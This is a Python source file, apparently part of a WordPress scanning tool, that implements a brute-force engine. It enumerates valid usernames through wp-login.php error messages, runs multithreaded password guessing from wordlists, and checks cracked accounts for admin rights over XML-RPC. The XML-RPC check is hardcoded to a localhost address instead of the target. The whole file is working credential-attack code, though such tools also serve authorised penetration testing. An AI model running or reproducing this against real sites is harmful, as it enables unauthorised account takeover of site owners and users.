127 lines
3.9 KiB
Python
127 lines
3.9 KiB
Python
#!/usr/bin/python
|
|
# -*- coding: utf-8 -*-
|
|
import requests
|
|
import re
|
|
import json
|
|
import os
|
|
import urllib
|
|
|
|
from core import *
|
|
from wordpress import *
|
|
from thread_engine import ThreadEngine
|
|
|
|
class Brute_Engine:
|
|
def __init__(self, wordpress, brute, usernames, users_list, passwords_list):
|
|
if brute:
|
|
if usernames:
|
|
users_to_brute = usernames.split(',')
|
|
for user in users_to_brute:
|
|
user = user.replace(' ', '')
|
|
print(notice("Bruteforcing " + user))
|
|
self.bruteforcing_pass(wordpress, user, passwords_list)
|
|
|
|
# Bruteforce with usernames list
|
|
elif users_list:
|
|
for file_list in [users_list, passwords_list]:
|
|
if not os.path.isfile(file_list):
|
|
print(critical("Can't found %s file" % file_list))
|
|
exit()
|
|
# launch users & passwords bruteforce
|
|
self.bruteforcing_user(wordpress, users_list, passwords_list)
|
|
|
|
|
|
# if users detected, bruteforce them
|
|
else:
|
|
if len(wordpress.users) != 0:
|
|
if not os.path.isfile(passwords_list):
|
|
print(critical("Can't found %s file" % passwords_list))
|
|
exit()
|
|
|
|
print(notice("Bruteforcing detected users: "))
|
|
for user in wordpress.users:
|
|
print info("User found "+ user['slug'])
|
|
self.bruteforcing_pass(wordpress, user['slug'], passwords_list)
|
|
|
|
|
|
"""
|
|
name : bruteforcing_user(self, wordpress)
|
|
description :
|
|
"""
|
|
def bruteforcing_user(self, wordpress, users_list, passwords_list):
|
|
print(notice("Bruteforcing all users"))
|
|
|
|
with open(users_list) as data_file:
|
|
data = data_file.readlines()
|
|
thread_engine = ThreadEngine(wordpress.max_threads)
|
|
users_found = []
|
|
|
|
for user in data:
|
|
user = user.strip()
|
|
thread_engine.new_task(self.check_user, (user, users_found, wordpress))
|
|
thread_engine.wait()
|
|
|
|
for user in users_found:
|
|
self.bruteforcing_pass(wordpress, user, passwords_list)
|
|
|
|
|
|
def check_user(self, user, users_found, wordpress):
|
|
data = {"log":user, "pwd":"wordpresscan"}
|
|
while True:
|
|
try:
|
|
html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
|
|
except:
|
|
print(critical('ConnectionError in thread, retry...'))
|
|
continue
|
|
break
|
|
# valid login -> the submited user is printed by WP
|
|
if '<div id="login_error">' in html and '<strong>%s</strong>' % user in html:
|
|
print(info("User found "+ user))
|
|
users_found.append(user)
|
|
|
|
|
|
"""
|
|
name : bruteforcing_pass(self, wordpress)
|
|
description :
|
|
"""
|
|
def bruteforcing_pass(self, wordpress, user, passwords_list):
|
|
print(info("Starting passwords bruteforce for " + user))
|
|
|
|
with open(passwords_list) as data_file:
|
|
data = data_file.readlines()
|
|
size = len(data)
|
|
thread_engine = ThreadEngine(wordpress.max_threads)
|
|
found = [False]
|
|
|
|
for index, pwd in enumerate(data):
|
|
if found[0]: break
|
|
pwd = pwd.strip()
|
|
percent = int(float(index)/(size)*100)
|
|
thread_engine.new_task(self.check_pass, (user, pwd, wordpress, found))
|
|
|
|
# print 'Bruteforcing - {}{}\r'.format( percent*"▓", (100-percent)*'░' )
|
|
thread_engine.wait()
|
|
|
|
|
|
def check_pass(self, user, pwd, wordpress, found):
|
|
data = {"log": user, "pwd": pwd}
|
|
while True:
|
|
try:
|
|
html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
|
|
except:
|
|
print(critical('ConnectionError in thread, retry...'))
|
|
continue
|
|
break
|
|
if not '<div id="login_error">' in html:
|
|
print(warning("Password found for {} : {}{}".format(user,pwd, ' '*100)))
|
|
found[0] = True
|
|
|
|
self.xmlrpc_check_admin(user, pwd)
|
|
|
|
|
|
def xmlrpc_check_admin(self, username, password):
|
|
post = "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>" + username + "</string></value></param><param><value><string>" + password + "</string></value></param></params></methodCall>"
|
|
req = requests.post("http://127.0.0.1:8000/xmlrpc.php", data=post)
|
|
regex = re.compile("isAdmin.*boolean.(\d)")
|
|
match = regex.findall(req.text)
|
|
if int(match[0]):
|
|
print(critical("User is an admin !")) |